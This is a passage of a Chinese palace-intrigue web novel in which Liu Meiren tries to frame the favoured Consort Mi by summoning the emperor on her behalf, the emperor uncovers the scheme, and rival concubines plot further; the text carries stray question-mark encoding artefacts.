彩芸恭敬地上前?,敛去眼底怨色,劝道:“主?子何必动怒,宓才人?倘若真的得宠,圣驾今夜也不会去了坤宁宫。” “皇上今夜要去那个宓才人?那儿还得了!”柳美?人?横眉竖目,瞪她一眼,“逢上十五,宓才人?再受宠,也不能让皇上乱了祖宗规矩!” 彩芸低着头,意有所?指,“正是如此,皇后娘娘是六宫之主?,有些人?恃宠而骄,皇后娘娘总要去管教一二。” 柳美?人?倏忽哑声,眸子微眯了眯,盯着面前?恭敬无比的彩芸,忽而嘴角勾起?,“你去外殿这么久,长进了不少?。” 彩芸轻声道:“奴婢都是一心为了主?子。” 这番话,给柳美?人?提了个醒,今儿是皇上宿在坤宁宫,倘若顺湘苑闹起?来,宓才人?恃宠而骄,勾去了皇上,皇后娘娘能不恼吗。皇上明面不说,也心知肚明,慢慢也就生出了厌烦。 柳美?人?一想到宓才人?遭皇上不喜,六宫人?人?都能踩上一脚就心生痛快。 她正要吩咐彩芸去办这件事,扫了眼彩芸脸上的疤,不觉拧起?眉,便?招来地上跪着的宫女,吩咐了几句。 彩芸将柳美?人?变幻的神色看在眼里,愈发?心寒。 那宫女自是主?子说什么就做什么,听了吩咐,便?匆匆出去传话。 柳美?人?洋洋自得,对着妆镜轻挑唇角,“宓才人?,我这可是在帮你啊。” “梳妆吧,去瞧瞧宓才人?身子可还爽利,” 彩芸应了声是,她顿了下,似是记起?什么,迟疑道:“奴婢还有一事。” “昨日上元宴,正是妙清当值,有人?看到徐答应宫里的人?与妙清说了几句话,却不知是什么,只是那妙清看起?来极为感激。” 柳美?人?得意的表情僵硬住,慢慢变得扭曲,“好你个徐答应,果然是你暗害于?我!” “待收拾了宓才人?,我再来收拾你!” 明黄跳动的烛火中,彩芸轻敛下眼,熟稔地为柳美?人?簪好发?间?的珠翠钗环。 …… 天幕沉沉,月银如雪。 这夜辛柳当值,她捧着烛台,待散了夹袄的寒气,掀帘进殿。 明裳里着衾衣,外披雪白的狐裘,倚着镶花引枕,随意翻去一页手中的话本子。 殿内换了新的烛火,明亮些,明裳揉揉发?酸的眼睛,随意瞧了外面一眼。 “人?过来了吗?” 辛柳将明裳抱着的暖炉换了,俯下身整理微乱的弹花锦被,笑道:“主?子且放心,辛小五已偷偷去看,柳美?人?沉不住气,大?约不到半刻就到咱们?这儿了。” 这夜也是彩芸临时给明裳递的信儿,明裳并无准备,她并不喜旁人?擅作主?张,彩芸自作聪明,给了她一张投名状,却不知这番行事,已让明裳敲定了心思,即便?保住彩芸,也不会将她留在宫里。 如辛柳料想,没到半刻钟,殿外就传进了通禀,柳美人完全不复上元宴待明裳那般的刁难,反而先?规规矩矩地福了身子,态度极佳,“倒是巧了,宓才人这么晚竟还未安置。” 她眼眸轻转,也不让明裳说话,继而叹息一声,“宓才人上元宴得皇上加赞,料想此时是在想着皇上吧。今儿十五,皇上要宿在皇后娘娘宫中,是历来的规矩,宓才人?虽得皇上赞赏,升了位份,也得知道规矩,便?是委屈些,也不能让旁人说了闲话。免得不知情的人?,还以为宓才人?恃宠而骄,敢打皇后娘娘脸面呢!” 柳美?人?一番话,看似安抚,实则处处给明裳,嘴上说不是恃宠而骄,实则就是在说明裳恃宠而骄。 明裳看破不说破,便?也陪她演戏,弯月般的眸子期期艾艾,倒真像那么回事儿。 她故意撑起?精神,似是一头雾水,微蹙眉,狐疑开口,“柳美?人?这话是什么意思,今儿宴席吃多了酒水,眼下睡不着,便?翻出几本书看看罢了。倒是柳美?人?,夜半三更,来我这顺湘苑做甚?” 柳美?人?一瞧明裳强装出的模样,心下拐了个弯儿,本是随口一说,不想这宓才人?当真惦记着皇上,夜已至深,谁会无事翻看闲书,宓才人?在坤宁宫看似懂事乖觉,原是装出来的。 如此一来,倒是让她省了功夫。 柳美?人?福至心灵,捏着帕子掩了掩得意上扬的唇角。 那厢坤宁宫熄了宫灯,殿内的主?子已然歇了,全福海在廊下打着瞌睡,耳边忽听一阵急匆匆的脚步声,守门的小太监一阵风似的跑进来,“全公公……” 全福海瞌睡尽无,他不耐烦地掏掏耳朵,一个拂尘打到那小太监后颈,揪着人?离来槅门,压低声线斥道:“皇上娘娘都歇下了,发?生什么事,动静闹得这么大?,扰了皇上娘娘安寝,脑袋不想要了!” 那小太监也吓得不轻,缩缩脖子,被这么一说,腿都有些发?软。今夜御前?伺候到他轮值,夜色已深,他守着殿门本是要睡了,就听见坤宁宫外有宫女似有急事要擅闯坤宁宫,被坤宁宫的人?拦到了外面,他细听一耳朵,竟事关宓才人?。小太监回忆近日宓才人?的圣宠,犹豫下还是回来通禀。 全福海听得一愣神,他几乎怀疑自己是在做梦,不可思议地问道:“当真没听错?是宓才人?要请皇上过去?” 那宫女不止提了一遍宓才人?,小太监怎么会听错,“奴才听得真真的!确实是顺湘苑的宓才人?身子不适,要请皇上过去!” “今夜皇上可是歇在皇后娘娘这儿啊。”全福海嘴里嘀咕,疑惑不解,完全不知道宓才人?这是唱的哪出戏,换作是别的嫔妃,他倒是可以理解后宫主?子们?争宠的手段,但今夜伴驾的可是皇后娘娘,皇上再宠着宓才人?,也不可能不顾及皇后娘娘的脸面,得罪了皇后娘娘,宓才人?这不是自寻死路吗! 那小太监一脸迟疑,“大?公公,奴才可还要禀告皇上?” 全福海没好气地甩拂尘打他后颈,“今儿你就不该听这么一遭!” 糊涂东西,该听得不听,不该听得还不知道装傻充愣,既被皇后娘娘宫中人?拦下了,便?由着去,总归不是他们?这些御前?伺候人?的错,偏生长了一双没用的耳朵,招惹祸事! 全福海本意是将这桩事瞒下,今夜也能安然过去,谁知那小宫女闹得动静大?,扰了合宫不安宁。 内殿掌上宫灯的光亮,全福海不得已,硬着头皮低声传话。 寝殿内,李怀修坐在床榻边,指腹揉着太阳穴,闻言,眉心轻跳了两?下,微淡地掀起?眼皮,“宓才人??” 全福海脸都要僵硬住了,伺候皇上这么多年,他对皇上的喜好也有几分了解,那些夜中为争宠借着生病的由头请皇上过去的嫔妃,有几个能落下好下场。他确实也没想到,宓才人?会做这种让皇上不喜的事。 他干巴巴地垂低下头,呼吸都放轻,“奴才确没听错,是宓才人?忽然身子不适,请皇上过去看看。” 皇后拂去垂在肩头的青丝,思量中无意抬眼,看清了男人?的脸色,她指尖微动,顺从了李怀修的心意,“宓才人?素来懂事,料想今夜确实身子极为不适,不如皇上过去看看,也好安心。” 圣驾深夜去了顺湘苑,文竹扶着皇后到坤宁宫门恭送了圣驾,夜风寒凉,文竹整理着皇后的披风,心中不解,“宓才人?身子当真不适,应去太医院请太医才是,奴婢未听闻顺湘苑前?去太医院的动静,倒是先?来请了皇上,大?抵也不是真的有恙,娘娘何必忍让,轻易遂了宓才人?的意愿。” 六宫嫔妃争宠,用身子不适截宠的由头实在多如牛毛,文竹不信宓才人?是真的不舒服,今儿十五,宓才人?大?抵就是借着上元宴出了风头,恃宠而骄,打皇后娘娘的脸面,她这时对宓才人?是有厌恶,本以为宓才人?虽有宠,却乖觉,如今来看,也不过如此,与后宫嫔妃并无不同。 皇后淡淡摇头,并不赞同文竹的话。 夜风太凉,吹得她忍不住咳了两?声,文竹面生担忧,皇后无妨地拂了拂手,她压下喉中的痒意,轻笑道:“宓才人?有意无意,皇上自有分辨,本宫不过是顺水推舟罢了。” 何况,她看得出来,皇上今夜,心思并不在坤宁宫,她知礼守节,反而能落个贤良大?方的名声,皇上近日待她的不满也会消去许多。 不过,宓才人?那般聪慧,能闹出今夜的事儿,她倒看不清了,这其?中,是有何缘由。 …… 月明星稀,小太监尖着嗓子,高唱一声,“皇上驾到——” 柳美?人?落后宓才人?一步,她紧着手心,待见到圣驾,福了身子做礼。 见到柳美?人?也在顺湘苑,全福海先?是愣了一下,几度没反应过来,若非宓才人?也在这,他都怀疑是否进错了殿内,转念一想,宓才人?请皇上过来,柳美?人?能在这等着圣驾,也无可厚非。 李怀修下了銮舆,一眼看见了屈膝做礼,规规矩矩的女子,大?抵是在寒风里吹得脸色发?白,裹着厚实的绣花镶金丝斗篷,除去冻得发?白的脸蛋,看不出半分不适。 他淡淡移开眼,才看见了旁边一同跪着的人?,柳美?人?嫡亲姐姐是他在潜邸时已故的柳侧妃,柳侧妃性?子柔软,于?皇后丽妃一同入府,性?子最为乖觉,因她从不生事端有几分垂怜,只可惜因党派相争,受到牵连,有孕后到寺庙祈福,车马受到惊吓,不甚小产,他赶去时只听到柳侧妃抓着他的衣袖,要他救下这个孩子,然天不遂人?愿。念在与柳侧妃的情分,他御极后,由柳家又?送进一女,念其?是柳侧妃嫡亲姊妹,他给了她名分地位,但二人?终究不同。 李怀修推了下扳指,让两?人?起?来。 明裳扶着宫人?的手起?身,眼神疑惑,“夜色这般晚,皇上不在皇后娘娘宫中,怎么到嫔妾这儿来了?” 李怀修眼眸微眯,全福海觑了眼皇上的脸色,忙上前?道:“宓才人?遣人?到坤宁宫传话,说主?子身子不适,请皇上过来看看。” 明裳讶异,“嫔妾身子不适,大?可传太医,为何要皇上深夜来这一趟。” 见时机已到,柳美?人?神色惊慌,涂染了膏脂的红唇抖了抖,抢声道:“宓才人?,分明是你与嫔妾说自己身子不适,要请皇上过来,嫔妾照着您的话做了,怎么宓才人?此时却要装起?傻,置嫔妾于?何地啊!” 全福海伺候在侧,惊得目瞪口呆。 “柳美?人?这是说的什么话,我在殿内正看着书,你便?忽然要见我,现下怎么变成我指使?你了?我要请皇上过来,何必要你去请?”明裳转过脸,十分委屈,美?眸盈盈如水,委屈巴巴望着眼前?的男人?,“皇上明鉴,嫔妾要柳美?人?去请皇上,哪能把皇上请得来。皇上不信,大?可问问嫔妾宫里的人?,嫔妾何曾找过柳美?人?,又?何曾说过自己身子不适?” 李怀修一噎,当着外人?的面也不好训斥她什么。 倒是柳美?人?听见这番话,气得都要呕出血,宓才人?的意思不是明晃晃地说自己不如她得宠!柳美?人?羞恼至极,想到今日这戏她还是要做下去,她一脸错愕,难以置信,气恼不像是装出来的,“宓才人?宫中的人?听的自然都是宓才人?的话,怎会问出结果?” 柳美?人?悲恸哭诉,“皇上,定是宓才人?计较上元宴嫔妾失言,折损了她的脸面,才有心算计嫔妾。嫔妾与宓才人?同住一宫,宓才人?位份又?高于?嫔妾,宓才人?遣人?这时候让嫔妾来顺湘苑,嫔妾本也有所?疑。直到宓才人?得寸进尺,竟假意染病,威胁嫔妾命人?前?去坤宁宫传话,嫔妾若是不做,宓才人?便?要去御前?,告嫔妾下毒加害她,结果嫔妾为宓才人?请来皇上,宓才人?却是自己全然不知情,反咬嫔妾一口,嫔妾实在委屈啊!” 柳美?人?编得一套好说辞,叫明裳都叹为观止,她不着痕迹地移开眼光,旁人?看时,只见她死咬着唇,泪眼盈盈地抹着眼角,似是叫柳美?人?气得一句话都说不出。 李怀修多看了两?人?一眼,淡淡道:“罢了,今日之事,朕不再追究。” 柳美?人?眼底一喜,她本就不指望皇上彻查此事,夜色已深,皇上明日还有早朝,哪有心力耗费在这种小事上。她要的,不过是皇上慢慢觉得宓才人?恃宠生娇,厌恶了宓才人?,也要让皇后知道宓才人?得宠后是何等放肆。明日流言就会纷纷扬扬,宓才人?是如何倚仗圣宠,敢深更半夜,从皇后宫中请走皇上。流言多了,最后也就成了事实,谁会在乎那所?谓的真相。 可惜事实并不如柳美?人?所?愿,李怀修捻了捻扳指,吩咐道:“将传话的宫人?押进慎刑司,朕明日要知道,倒底是谁让她到坤宁宫寻朕。” 一句话,犹如晴天霹雳,打得柳美?人?措手不及,柳美?人?脸色陡然大?变,她万万没想到,皇上会深究至此。 “皇上,那宫女是嫔妾宫中的人?,宓才人?当着嫔妾的面指了那宫女去坤宁宫,焉知不是要嫁祸嫔妾。” 见柳美?人?如此情急,全福海心里立马透亮,他觑了眼皇上的脸色,深更半夜披霜过来,换作是谁都要不耐烦,他顺着皇上的心意,赶紧结束了这事儿,“美?人?主?子放心,慎刑司刑法严苛,谁进去都要把真相吐个清楚,万万不能冤枉了美?人?主?子的!” 柳美?人?此时倒希望能冤枉了她,偏生,是她指使?的那小宫女,她怎会想到,皇上一句都不审问,就把人?关进慎刑司了。柳美?人?狠狠攥紧了衣袖,压制住心底的惊慌,此时肠子都要悔青了,何故深夜给自己找罪受。 那小宫女听闻自己要进慎刑司,吓得两?股颤颤,双腿酸软,跌撞着跪到圣前?,泪水吓得扑簌簌流下来,砰砰叩头,“求皇上饶过奴婢吧,不干奴婢的事啊!奴婢只是遵了主?子的吩咐前?去传话,求皇上饶了奴婢吧……” 全福海没让小宫女把话说完,往后递了个眼色,两?个太监上前?,堵住小宫女的嘴巴,把人?架出了顺湘苑,小宫女瞪大?眼睛不停挣扎,双腿划过青砖地面,拖出两?道长长的痕迹。 现下这般情况,谁算计的一目了然,这般晚了,皇上压根儿也不想再掰扯这些杂事。 柳美?人?见小宫女被拖走的惨状,心头一颤,难得聪明一回,没再辩驳,她扶着宫人?的手,僵硬地扯了扯唇角,屈膝福身,“嫔妾告退。” 柳美?人?这一招实在不够聪明,大?抵是以为皇上深夜过来,猜准了是宓才人?恃宠而骄,因宓才人?上元宴得一番言语,即便?不会惩治,心里也留下个疙瘩。看似遗漏重重,实则有几分胜算。可惜了,皇上今夜偏偏计较起?来。 待闲杂人?等都走了,李怀修才露出几分情绪,头疼地看着眼前?的女子,脸色比刚才还难看。 明裳眸子泪光闪闪,“皇上这样看着嫔妾做甚?嫔妾才最是委屈,皇上深夜来嫔妾这,皇后娘娘心里不知如何觉得嫔妾没规矩!” “这话你也敢说!”李怀修沉着脸斥了一句,见她脸蛋发?白,鼻尖冻得通红,薄唇微抿,拂袖进了内殿。 全福海眼瞧着两?位主?子进去,那坤宁宫传话的小太监巴巴凑过来,摸不着头脑,“大?公公,皇上今夜可还要回坤宁宫?” 这小太监蠢笨不堪,也不知怎么进的乾坤宫,全福海记住了这人?,明儿个回了御前?,赶紧把人?换了,免得给皇上碍眼,办错了事还要他顶着。 全福海一拂尘打回去,“主?子们?的事儿,不该问的就闭紧了嘴,小心哪天脑袋掉了,自己都不知道怎么掉的!” …… 宫灯晃着晕红的光亮,摇摇曳曳的映出男人?深沉的脸色,李怀修倚着窄榻,指腹一下一下推着雕镂云纹的白玉扳指,手边放了一盏温水,那只柔荑捧着瓷釉的杯口,细细柔柔,“夜深不宜饮茶,嫔妾吩咐宫人?煮的温水,皇上喝下驱驱寒气。” 女子的声音也柔,又?柔又?娇。 李怀修接了瓷盏,指腹漫不经心地摩挲着边缘,黑长的眼睫掀起?,轻嗤了一声。 今夜这事儿她若是不知道,又?怎会任由柳美?人?深夜到顺湘苑。这女子心性?聪敏,即便?非她有意设计,在他来之前?,她必也察觉出了不对。 李怀修没去看女子的脸色,垂眸,抿了口手中的温水。 他看得清楚,只是懒于?分辨计较。 明裳确实有些心虚,但她也不觉自己有错,彩芸递信之前?,她也不知柳美?人?深更半夜还想着算计自己。 皇上已经对她起?疑,明裳自然不能和盘托出,也不会说自己完全不知情,只会让男人?生厌,最好的法子,便?是半真半假,七分真三分假。 明裳满脸无辜,轻咬了两?下唇瓣,支支吾吾地开口,“柳美?人?深夜到嫔妾宫里,嫔妾确实察觉到了不对,一面托住人?,一面遣宫人?打探,很快便?知道,柳美?人?竟然去坤宁宫请了皇上,所?以……” 李怀修眼皮子抽了抽,“所?以你将计就计,也不告知朕真相,由着旁人?骗朕过来?” 明裳红着脸,极快争辩道:“嫔妾可没有骗皇上过来,犯下欺君之罪的是柳美?人?,皇上要降罪尽管去惩治柳美?人?。嫔妾怎敢得罪皇后娘娘,只是嫔妾再让人?拦住那宫人?,已然是来不及了。” 李怀修眸色深深,盯着她,冷“呵”了声,“是来不及,还是你自己也想借着柳美?人?的由头让朕过来?” 这女子的小心思都写在脸上了,她倒是大?胆,不知道他最忌讳后宫争风吃醋,为争宠不择手段,她倒是也敢。 诚然,明裳确实藏了这么点儿小心思,上元宴,她误打误撞哄得龙心大?悦,自然也想在私下中表现心意,讨一讨这位的欢心。因今夜是十五,她可不愿意得罪皇后,柳美?人?既抢着给她背锅,她自然乐得收下了,这位心里清楚,仍给她做主?查明实情,可见是没真的恼她。 晕红的光照着女子的面颊,大?抵是知晓他今夜会来,妆容虽未加修饰,却也藏了几分心机。鬓发?间?只斜簪着一只海棠步摇,长发?披散,未施粉黛,两?耳却挂了一对儿小巧精致梨花耳坠,随着女子的动作,荡来荡去。 明裳被看穿了心思,便?大?大?方方地承认,精致的小脸往前?一凑,眸子眨巴眨巴,叫人?心猿意马。 李怀修下意识拨了下拇指的白玉扳指。 女子红唇轻启,吐气如兰,理直气壮,“皇上既然知道,还来嫔妾这做什么?” 闻言,殿内寂了一寂。 男人?的那张脸瞬间?黑如锅底,怒色骤现,他来她这儿,自然是给她脸面,倘若他转身就走,明日宫里要怎么议论于?她,他为她考量,她倒好,竟还敢招惹他生气。 不待他发?火,那女子又?蝴蝶般地扑到他怀里,柔荑去握他的手,抚她脸蛋,娇软的肌肤嫩得跟豆腐似的。两?瓣红唇一张一合,说出的话分明胆大?包天,偏生这张脸讨喜得紧。 “好嘛,嫔妾确实藏着私心,嫔妾想皇上了,想要皇上来嫔妾这儿。” “皇上责罚嫔妾吧。” “大?不了嫔妾就挨一顿板子好了。” 她美?目弯弯,微微娇喘,一颦一笑,千姿百媚,看得人?心神荡漾。 李怀修微拧眉,一时竟不知是该训斥这个没个规矩的女子,还是该睁一只眼闭一只眼,由着她耍这个小性?子。 他伸手捏住了女子的脸蛋,指腹摩挲,“这么想要朕赏你板子?” “嗯?” 男人?尾音上量,眼神似是在琢磨要打她几板子才好。 明裳见男人?当了真,美?眸霎时瞪圆,惊恐地咬紧唇珠,滑腻雪白的脸蛋活像一颗剥了颗的荔枝,水灵灵的诱人?,那只小手扯了扯李怀修的衣袖,盈盈如月,“嫔妾……嫔妾说着玩的,嫔妾怕疼,皇上要责罚嫔妾,换个法子吧。” 李怀修嘴角微勾,松了手,轻嗤,“不疼还算作责罚?” 明裳小鸡啄米似的点头,“算的,算的……” 那双盈盈泪目,似是真的怕他一个动怒把她拖出去打板子。 李怀修忍俊不禁,一时竟觉得这女子实在可爱。 男人?故作严肃状,板着脸,狠狠又?捏了一把那张触感滑腻的脸蛋,淡声,“罢了,今日责罚朕姑且留着,来日一起?同你再算。” 明裳见李怀修不再计较,便?放松下来,悠哉悠哉地窝到了男人?怀里,想了想,又?觉得不该让男人?在心里给她攒这么一个账本,于?是又?抬起?头来,巴巴地望向面前?的人?,肌肤如玉,面庞似雪,她蹭蹭身子,主?动献上两?个甜香的吻,软磨硬泡,嗔怨撒娇。 很是不知得寸进尺四个字怎么写。 李怀修又?气又?好笑,终于?被磨得没了脾气,罢了,又?不是什么大?事,同这素来没规矩的女子计较什么。 寝殿熄了灯,候在殿外的全福海方才安心,知晓今夜这事儿在宓才人?这算是过去了,只是不知道待明日那小宫女吐了实情,皇上会如何处置柳美?人?。 翌日一早,全福海眼瞧着天色大?亮,听不见内殿有唤人?的动静,今儿还有早朝,皇上素来克己,从未疏慵过,他思来想去,还是顶着一头冷汗,要进殿唤声伺候。正走到屏风处,竖耳便?听见里面窸窸窣窣声,全福海老脸一红,立马停了步子,冲后面要伺候的宫人?一抬手,悄无声息避了出去。 这种事伺候过历代?皇帝的奴才大?多都经历过,但全福海跟了皇上这么久,却是头一回,当真是愣了一下,他抹了把额头凉汗,幸好,还留着心,脑袋还在。 洒金描花的衾被覆住女子欺霜赛雪的肌肤,双颊透着绯意,红唇细细轻喘。昨夜歇得太晚,两?人?都有些倦怠,明裳沾了枕便?睡去,这会儿还未完全清醒,便?叫捞着不放了。 仿似还有没完没了的势头,明裳彻底清醒。 眸子睁开,泪眼婆娑,话音儿也有些接不上,“皇……皇上今儿不是有早朝吗?” 李怀修下颌绷紧,没答她,他掠了眼透进微熹的白光,宽大?的手掌牢牢钳住了那段玲珑腰身,黑目沉沉,犹如草原虎豹,锰裂至极。 寝殿终于?传了宫人?伺候,换上那身矜贵威严的朝服冠冕,便?仿如与方才窗笫间?醉心掌控,肆意驰骋的登徒子判若两?人?。 李怀修理了理衣袖,掠了眼垂低的帷幔,难得大?发?善心,撩起?衣摆坐到床榻边,那女子昏昏沉沉,不知醒是未醒,喘息微微近无,婆娑泪眼可怜无比,李怀修目光向下,觑到腕间?的嫣红,黑眸柔和了许多。 昨夜虽歇得迟,但李怀修一向守己,到了时辰便?睁了眼,只是那时这女子蜷缩在他怀里,入目便?是遮掩不住多少?的衾衣,情动之下,便?失了分寸。 李怀修不得不承认,他贪恋极了这女子的身子,但他是帝王,忌讳情欲,也最忌讳贪恋,几度要将人?扔出去,又?几度对她轻拿轻放。 他犹疑不定。 偏生,这缠人?的小妖精,愚钝懵懂,一无所?知。 念此,他拧起?眉,颇有些头疼地揉了揉额角。 明裳毫不知男人?心思,半梦半醒中,翻过身迷迷糊糊地催促,“皇上快些去早朝吧,免得误了时辰,都是嫔妾的不是了……” 李怀修微怔,忍不住失笑,心头那抹疑虑再次被压了下去。 “朕下了朝,便?叫人?传旨,册封你贵人?之位。”见这女子睁开眸子,水洗般的眼珠地晶亮粲然地望向他,脸蛋酡红的情韵犹在,李怀修心头蓦地一软,指腹摩挲两?下那张小脸,不由自主?道:“待你怀了身子,朕便?晋封你妃 位,如何?” 第056章 第 56 章 待圣驾离开, 明裳怔怔地?坐在床榻里,尚沉浸在男人方才落下的承诺中未回过神,哪还有?半分睡意?。她?垂下眸子?, 抚了抚自己的小腹, 轻轻叹息一声。 全福海等了许久,可算是把皇上等出?来了, 再不出?永和宫,皇上便是要上位以来,破天荒地?迟了早朝。 圣旨传下六宫, 不止明裳一人,凡是潜邸时?的旧人,都升了一阶,张贵人有?孕后已升过位份,便暂且压下, 大抵是生产后再行擢升, 令六宫惊讶的, 是这回晋升,皇上并未念及柳侧妃的情分,提柳美人的位份。 柳美人气得眼圈都红了, 上元宴, 她?摆明了是要看宓才人出?丑,定是宓才人夜中与皇上告状,皇上才忽略了她?。偏生祸不单行,慎刑司审讯了一夜,那小宫女哪守得住, 将她?指使的事全吐了出?来,继六宫擢升圣旨之后, 丽景轩很快迎来了降位圣旨,柳美人降为正五品的柳常在。 原是旁人升了位份,如今,她?就要沦为宫中笑柄!先?是惹恼了皇上,又?得罪了皇后,竟是为给宓才人争宠!待她?清醒过来,才知昨夜有?多愚蠢,传扬出?去,不知有?多少人看她?笑话! 柳美人面色发白地?接了圣旨,待传旨太监离开,她?转身猛地?甩了彩芸一掌,“蠢货!” 早在事败那一刻,彩芸就料想?到了主子?定会朝她?发泄怒火,宫里的奴才不过是主子?身边一条狗,再得主子?信任,也会有?挨打挨骂的一日。 彩芸遮掩掉眼底的怨怼冷意?,扑通跪下身,“主子?息怒!” “蠢笨如猪,这就是你出?的好主意?!”柳美人抚住起伏的胸口,眸色阴狠,早知今日,她?就该把这蠢货也打发了! 脱口而出?的话让柳美人心念一动,她?厌烦地?扫了眼跪着的彩芸,轻描淡写地?吩咐,“昨夜之事,是本主受了这贱婢蒙害,将这贱婢押去慎刑司,与清儿一同发落。” 清儿就是昨夜去坤宁宫传话的宫女,替主子?顶了罪,哪会有?活路。 伺候的宫人心底唏嘘,噤若寒蝉,彩芸怔然大惊,没想?到柳美人竟如此绝情,倾时?冷汗涔涔,她?抹掉眼泪,哭爬着到柳美人脚边,“主子?息怒,奴婢全是为了主子?着想?,奴婢……” 柳美人已是懒得听?彩芸废话。 眼见?小太监就要上前把人押出?去,彩芸绞尽脑汁,她?看出?柳美人是真下了狠心,倘若她?被柳美人赶出?了丽景轩,对宓才人也等同于没了用,又?怎会救她?。此时?必要想?出?一个法子?,她?扯着柳美人的裙裾,口中不住吞咽,眼珠转动,忽地?灵光一闪,“主子?……奴婢有?法子?替主子?一同除掉宓才人和徐答应!” …… 景平宫 皇上此次下召大封六宫,所?册封的嫔妃也只是宫中那些从潜邸跟随,许久未提位份的旧人。姜嫔前不久才升了嫔妃,并不在此次的册封之列。 昨儿内务府新送了一批缎子?,做开春儿的薄衣,姜嫔虽膝下无子?,手?段却是厉害,跟随皇上在潜邸时?就知晓栽培自己的人手?,因而内务府她?也留着人,没人敢小觑了这位姜嫔主子?,送来的缎子?虽不是给宠妃那般极好,也是华丽慵贵。 姜嫔低垂下眼,漫不经心地?抚过绸缎娟秀的兰花,轻啧道:“宫里的绣娘绣活儿是愈发的精细了,瞧瞧这兰花绣的,好似穿在本宫身上,真像穿了朵花儿似的!” 内殿里炭盆未撤,上好的银丝炭不时?发出?两声哔啵的轻响,青书沏上茶水,低头道:“年前皇后娘娘提拔内务府主事高陵诠做了内务府主管,奴婢听?闻,内务府今年送去永和宫丽景轩的缎子?没有?顺湘苑三成多,都是些寻常的回文锦,不及顺湘苑的软烟罗,妆花缎。” “皇后提上来的人,倒是会办事。”姜嫔挑了下眉梢,不紧不慢地?抿着茶水,“上元宴上,柳美人也叫我们看了出?好戏。” 姜嫔娟帕掩唇,柳侧妃在时?有?多温柔聪慧,柳美人就有?多蠢笨不堪,这柳家是怎么教养的姑娘,平白养出?两个性子?。柳美人聪明点,也该知道,宓贵人正得圣宠,如张贵人那般依附交好,还能分到些许的好处,至少犯了错,也有?人说个话。她?哪来这么大的底气敢跟皇上正宠着的人叫板,全凭皇上待柳侧妃的情谊么?可真是可笑。 提到柳美人,姜嫔顿了顿,“前夜那事儿打听?清楚了吗?” 前夜十五,圣驾应在皇后宫中,却听?闻深夜,宓贵人身子?不适,请了皇上过去。 姜嫔却不觉得,宓贵人是那般恃宠而骄,敢打皇后脸面的人。 前夜那事儿动静闹得不小,不止景平宫,六宫都在观望,本以为翌日问?安,皇后不会给宓贵人好脸色,不想?皇后态度温和,竟还关心宓贵人身子?可否好得利索了,倘若仍是不妥,不必过去问?安,众人面面相觑,瞠目结舌。宓贵人从坤宁宫把皇上请走,皇后娘娘竟没半分不悦? 青书回忆打探出?的消息,轻声斟酌,“奴婢尚没查出?什么,只是寻到当夜当值的宫人,听?闻夜中到坤宁宫传话的是柳美人宫里的人,那宫女也不知犯了什么大错,被连夜发落去了慎刑司。最奇怪的是,宓贵人称病,竟装也不装,并未去太医院请太医,” “奴婢本该早些通禀主子?,只是此事存疑,奴婢便又?叫了慎刑司的人偷偷打听。” 闻言,姜嫔略微一想?,便已有几分了然。她面露嘲讽,无比讥诮地?勾了勾唇角,“蠢啊!本宫见惯了后宫争宠的手段,还未见?过这么蠢的!” 青书伺候姜嫔多年,略有?猜出?了主子?的意?思,正因如此,她?才是不敢相信那个猜测,柳美人竟为了明面让宓贵人得罪皇后娘娘,而亲自遣人到坤宁宫传话,给宓贵人截宠,这也太过匪夷所?思。 坐的久了,姜嫔起了身子?,怀中抱着暖炉闲散走了两步,语调散漫轻柔,“不必再打探了,皇上既然只让咱们看到这些,知道多了徒惹人生厌。” 半遮半掩,才更让人觉出?蹊跷。 能从坤宁宫请得动皇上,也要看那人在皇上心中有?多少份量,只是可怜了柳美人,吃力不讨好,平白给旁人做了嫁衣裳。 姜嫔重新靠回软榻,父亲得力,年宴还得了皇上一回夸赞,母家一体?,姜嫔也与有?荣焉。六宫争斗不休,这时?候安安稳稳的,也能得皇上另眼相看。 她?心里有?自知之明,皇上召幸于她?不过是念在她?母家得力,姜嫔心里倒不见?伤感,相比于那些虚无缥缈,靠容色分来的圣宠,她?更喜欢利益相交。 君臣夫妻,先?君臣,后才是夫妻,更何况除了皇后娘娘,她?们这些妃嫔也只是妾室,连妻都算不上。 “吩咐御膳房晌午炖上鸽子?汤,精细着,要合皇上的口味,别马虎了。” 青书诧异,主子?知晓皇上不喜后宫嫔妃去乾坤宫,可是鲜少到御前。 她?不敢多问?,垂下头应声。 …… 晌午时?候,李怀修批阅了摞积的奏折,撂下笔,全福海从殿外进来,低声通禀,“皇上,姜嫔娘娘求见?。” 六宫嫔妃,虽常借着送羹汤的由头到御前争宠,不妨也有?那么几个嫔妃鲜少做这种事,姜嫔就是其中之一,今日瞧见?姜嫔过来,全福海也是十分诧异,念着姜嫔父亲眼下做的功绩,正得皇上重用,全福海没像对别的主子?那般大意?,恭恭敬敬福了身,回殿传话。 姜嫔没等多久,就被传召进殿。 内殿里烧着地?龙,已过凛冬,忽而已经撤了炭盆。这是大魏皇室先?祖定下的规矩,太///祖爷打下江山不易,告诫后世克勤克俭,忧盛危明,切不可耽溺享乐,在这处政的内殿撤掉炭盆,也是于己的警醒。然这未成条例的规矩,也不必拘泥遵守,譬如先?帝爷,除去选秀入宫的嫔妃,微服巡游也会搜罗各地?适龄貌美女子?,便是在位二十余年六宫的用度就何其的奢靡。 姜嫔垂眼走到殿中,屈膝柔柔做礼,“嫔妾请皇上安。” 她?今日到御前,确实无甚要紧事,有?了母家倚仗,姜嫔如今的圣宠虽不及宓贵人,也足以叫旁人艳羡。今日来这一趟,一则皇上确实有?些日子?没去她?宫里,二则自然是做给六宫人看。她?知晓皇上清楚她?的意?思,也会给她?这个脸面。 姜嫔送过羹汤,并未能留在御前多久,就出?了乾坤宫,短短的两刻钟,已让六宫那些眼睛嫉妒。毕竟,皇上处事的正殿,也没有?几人能真正进去过。 送走了姜嫔,到了午膳的时?辰,那蛊羹汤还在御案上摆着,调羹都未用过,李怀修淡淡扫了眼,吩咐全福海拿下去赏了。全福海意?料之中,后宫主子?送的汤水,不管合不合皇上的口味,皇上都不会用,能让姜嫔送到这御案上,就已是天恩。 全福海手?中的鸽子?汤还没等端下去,殿外小太监神色惊慌地?进来跪身禀话,“皇上,景和公?主的乳母吃了徐答应的糕点,突然暴毙身亡了!” …… 景平宫是六宫中除却冷宫最为僻静的宫所?,姜嫔并没乘仪仗,经过永和宫的宫门,她?忽然停住了脚步,侧头看去,守门的小太监躬身做礼,永和宫因偏殿的主子?受宠,洒扫的宫人不敢有?半分马虎大意?,日日擦拭永和宫的匾额,落锁的朱漆也涂染得鲜亮,见?不到分毫灰尘。 